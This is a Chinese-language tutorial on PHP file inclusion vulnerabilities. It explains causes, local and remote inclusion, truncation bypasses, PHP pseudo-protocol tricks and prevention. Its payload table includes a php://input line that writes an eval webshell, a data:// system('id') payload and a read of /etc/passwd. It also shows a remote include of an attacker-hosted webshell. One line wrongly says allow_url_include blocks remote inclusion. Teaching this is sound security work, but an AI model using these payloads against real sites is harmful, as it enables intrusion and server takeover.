简介
文件包含漏洞通常发生在应用程序对用户输入的处理不当时。这种漏洞允许攻击者包含并执行外部文件,可能导致未经授权的信息泄露、代码执行和系统被入侵等问题。
文件包含漏洞的主要原因是应用程序在处理文件路径或文件内容时,未能正确验证和过滤用户提供的输入。攻击者可以通过构造特定的输入,使应用程序加载和执行他们指定的文件。
原理
- 将某些经常调用的参数写成文件,每次调用直接include这个文件即可,提高代码重用性,减少代码量
- 只要包含引用的文件的内容中有相关执行代码命令的函数,并且未做限制,include()会将里面包含的内容以脚本的形式显示出来,包含的文件可以是任意后缀
产生漏洞的函数
函数 | 作用 |
---|---|
include() | 多次包含,多次调用 |
include_once() | 多次包含,一次调用 |
require() | 多次包含,多次调用 |
require_once() | 多次包含,一次调用 |
相当于python中的import()
<?php
$a = $_GET['a'];
include($a);
?>
如果传参a=1.txt,文件的内容是phpinfo(),include(1.txt)会将里面的内容以PHP的格式输出
区别:
-
require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件;
-
include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。
-
require 引入的文件有错误时,执行会中断,并返回一个致命错误;
-
include 引入的文件有错误时,会继续执行,并返回一个警告。
检测方式
白盒
代码审计
黑盒
扫描工具、公开漏洞、手工看参数
类型
本地包含
只包含本地文件,如果本地没有,无法利用
可以实现跨目录调用,输入../
退回到文件所在目录
文件限制
有可能包含的内容有限制,比如include($a.".html")
,限制只能查找后缀为html的文件
绕过方法
-
%00截断
a=1.txt%00
注释后面的.html
形成条件:
- PHP的魔术引号没开
魔术引号:开启后会过滤特殊字符
位置
- PHP版本<5.3.4
-
长度截断
windows识别256个字符,linux识别4096个字符
后面加入垃圾符号
远程包含
通过自己创建一个可以访问到的地址,代码的内容可以自定义
PHP有个开关allow_url_include
,开启后无法进行远程包含,可在phpinfo中查到,两边都是on状态才行
http://127.0.0.1/123.php?x=http://10.9.47.198/1.txt
目标网站 自己的网站,txt中有一句话木马
利用伪协议绕过
PHP伪协议
伪协议 | 功能 | 条件 | 代码 |
---|---|---|---|
php://filter | 用base64加密不让包含代码执行,用来显示源码 | 不受影响 | ?a=php://filter/read=convert.base64-encode/resource=1.php |
php://input | 执行POST请求体中的PHP代码 | 开include | ?a=php://input POST<?php 木马?> 一个web修 <?php fputs(fopen('1.php','w'),'<?php @eval($_POST[x]);?>');?> |
file:// | 访问本地文件系统 | 不受影响 | ?a=file:///etc/passswd |
http:// | 访问 HTTPs 网址,可执行远程包含 | 全开 | ?a=http://127.0.0.1/1.txt |
data://text/plain | 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行 | 全开 | ?a=data://text/plain,<?php system('id') ?>或 ?a=data://text/plain;base64, |
条件:
allow_url_fopen = ON
(是否准许通过一个URL进行包含)
allow_url_include = ON
当php.ini配置文件中这两项都为ON的时候,就说明准许远程文件包含
预防措施
-
严格验证和过滤用户输入
-
设置白名单
-
避免动态构造文件路径
-
限制所包含的文件权限